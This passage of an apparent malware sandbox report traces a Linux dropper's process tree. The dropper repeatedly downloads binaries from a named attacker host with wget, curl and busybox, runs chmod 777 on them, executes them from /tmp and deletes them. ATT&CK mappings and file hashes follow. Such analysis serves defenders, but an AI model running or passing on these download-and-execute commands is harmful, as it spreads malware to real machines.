  /bin/busybox wget http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  PID:947
- /bin/chmod
  chmod 777 tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  ./tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  PID:955
- /bin/chmod
  chmod 777 Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  ./Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  PID:963
- /bin/chmod
  chmod 777 dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  ./dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - System Network Configuration Discovery
  PID:970
- /bin/chmod
  chmod 777 mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  ./mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  ./Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  PID:986
- /bin/chmod
  chmod 777 H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  ./H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  ./MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  PID:997

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J

Path /tmp/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N

Path /tmp/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512